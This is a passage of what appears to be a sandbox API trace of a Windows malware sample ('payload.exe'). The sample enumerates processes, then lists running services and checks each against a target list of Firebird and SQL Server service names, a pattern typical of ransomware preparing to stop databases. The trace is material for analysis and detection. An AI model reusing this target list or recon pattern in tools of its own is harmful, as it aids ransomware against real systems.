th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0053.654] lstrlenW (lpString="SearchUI.exe") returned 12 [0053.654] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0053.654] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0053.654] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0053.663] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0053.663] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0053.664] lstrlenW (lpString="taskhostw.exe") returned 13 [0053.664] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0053.665] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0053.665] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0053.668] lstrlenW (lpString="msoia.exe") returned 9 [0053.668] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0053.668] lstrlenW (lpString="UsoClient.exe") returned 13 [0053.669] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0053.669] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0053.669] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0053.670] lstrlenW (lpString="msoia.exe") returned 9 [0053.670] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0053.671] lstrlenW (lpString="taskhostw.exe") returned 13 [0053.671] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0053.672] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0053.672] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0053.673] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0053.673] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0053.674] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0053.674] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplacesubdivision.exe")) returned 1 [0053.675] lstrlenW (lpString="screensaverfireplacesubdivision.exe") returned 35 [0053.675] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arcobviously.exe")) returned 1 [0053.676] lstrlenW (lpString="arcobviously.exe") returned 16 [0053.676] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="preston disciplines.exe")) returned 1 [0053.677] lstrlenW (lpString="preston disciplines.exe") returned 23 [0053.677] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss.exe")) returned 1 [0053.678] lstrlenW (lpString="boss.exe") returned 8 [0053.678] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsimember.exe")) returned 1 [0053.679] lstrlenW (lpString="organizingscsimember.exe") returned 24 [0053.679] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing.exe")) returned 1 [0053.680] lstrlenW (lpString="placing.exe") returned 11 [0053.680] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes.exe")) returned 1 [0053.680] lstrlenW (lpString="heroes.exe") returned 10 [0053.680] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understoodaffectingbuddy.exe")) returned 1 [0053.682] lstrlenW (lpString="understoodaffectingbuddy.exe") returned 28 [0053.682] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement moments.exe")) returned 1 [0053.683] lstrlenW (lpString="requirement moments.exe") returned 23 [0053.683] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sugar.exe")) returned 1 [0053.684] lstrlenW (lpString="sugar.exe") returned 9 [0053.684] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademexicanvolkswagen.exe")) returned 1 [0053.685] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0053.685] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charity aging tracked.exe")) returned 1 [0053.685] lstrlenW (lpString="charity aging tracked.exe") returned 25 [0053.685] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="genealogy.exe")) returned 1 [0053.686] lstrlenW (lpString="genealogy.exe") returned 13 [0053.686] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers_indication_wage.exe")) returned 1 [0053.687] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0053.687] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine-keyboard.exe")) returned 1 [0053.688] lstrlenW (lpString="determine-keyboard.exe") returned 22 [0053.688] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure.exe")) returned 1 [0053.689] lstrlenW (lpString="expenditure.exe") returned 15 [0053.689] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="patents-compiler-transportation.exe")) returned 1 [0053.690] lstrlenW (lpString="patents-compiler-transportation.exe") returned 35 [0053.690] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0053.690] lstrlenW (lpString="upgrading.exe") returned 13 [0053.690] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative.exe")) returned 1 [0053.691] lstrlenW (lpString="conservative.exe") returned 16 [0053.691] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enrollment wrist tired.exe")) returned 1 [0053.692] lstrlenW (lpString="enrollment wrist tired.exe") returned 26 [0053.692] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="partybloodpopularity.exe")) returned 1 [0053.693] lstrlenW (lpString="partybloodpopularity.exe") returned 24 [0053.693] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="labor-perhaps-sentences.exe")) returned 1 [0053.694] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0053.694] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gods violations duke.exe")) returned 1 [0053.694] lstrlenW (lpString="gods violations duke.exe") returned 24 [0053.694] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0053.695] lstrlenW (lpString="dllhost.exe") returned 11 [0053.695] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0053.696] lstrlenW (lpString="conhost.exe") returned 11 [0053.696] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0053.702] lstrlenW (lpString="conhost.exe") returned 11 [0053.702] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0053.703] lstrlenW (lpString="payload.exe") returned 11 [0053.703] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0053.703] lstrlenW (lpString="cmd.exe") returned 7 [0053.703] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0053.704] lstrlenW (lpString="conhost.exe") returned 11 [0053.704] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0053.705] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0053.705] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf08, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0053.706] lstrlenW (lpString="conhost.exe") returned 11 [0053.706] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.706] lstrlenW (lpString="svchost.exe") returned 11 [0053.706] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0053.707] CloseHandle (hObject=0x31c) returned 1 [0053.707] Sleep (dwMilliseconds=0x1f4) [0054.213] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ceed0 [0054.213] EnumServicesStatusExW (in: hSCManager=0x6ceed0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0 [0054.214] GetLastError () returned 0xea [0054.214] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1ce8) returned 0x6f6108 [0054.214] EnumServicesStatusExW (in: hSCManager=0x6ceed0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6f6108, cbBufSize=0x1ce8, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6f6108, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1 [0054.215] CloseServiceHandle (hSCObject=0x6ceed0) returned 1 [0054.215] lstrlenW (lpString="Appinfo") returned 7 [0054.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0054.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0054.215] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0054.215] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0054.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0054.215] lstrlenW (lpString="AppXSvc") returned 7 [0054.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0054.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0054.215] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0054.215] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0054.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0054.215] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0054.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0054.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0054.675] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0054.675] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0054.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0054.675] lstrlenW (lpString="Audiosrv") returned 8 [0054.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0054.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0054.675] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0054.675] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0054.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0054.676] lstrlenW (lpString="BFE") returned 3 [0054.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0054.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0054.676] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0054.676] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0054.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0054.676] lstrlenW (lpString="BITS") returned 4 [0054.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0054.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0054.676] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0054.676] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0054.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0054.676] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0054.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0054.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0054.676] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0054.676] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0054.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0054.676] lstrlenW (lpString="CDPSvc") returned 6 [0054.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0054.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0054.676] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0054.676] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0054.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0054.676] lstrlenW (lpString="ClickToRunSvc") returned 13 [0054.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0054.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0054.677] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0054.677] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0054.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0054.677] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0054.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0054.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0054.677] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0054.677] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0054.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0054.677] lstrlenW (lpString="CryptSvc") returned 8 [0054.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0054.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0054.677] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0054.677] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0054.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0054.677] lstrlenW (lpString="DcomLaunch") returned 10 [0054.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0054.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0054.677] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0054.677] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0054.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0054.677] lstrlenW (lpString="DeviceAssociationService") returned 24 [0054.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0054.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0054.677] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0054.677] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0054.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0054.678] lstrlenW (lpString="Dhcp") returned 4 [0054.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0054.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0054.678] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0054.678] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0054.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0054.678] lstrlenW (lpString="Dnscache") returned 8 [0054.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0054.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0054.678] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0054.678] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0054.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0054.678] lstrlenW (lpString="DoSvc") returned 5 [0054.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0054.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0054.678] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0054.678] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0054.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0054.678] lstrlenW (lpString="DPS") returned 3 [0054.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0054.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0054.678] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0054.678] lstrcmpiW (lpString1="mssqlserver", 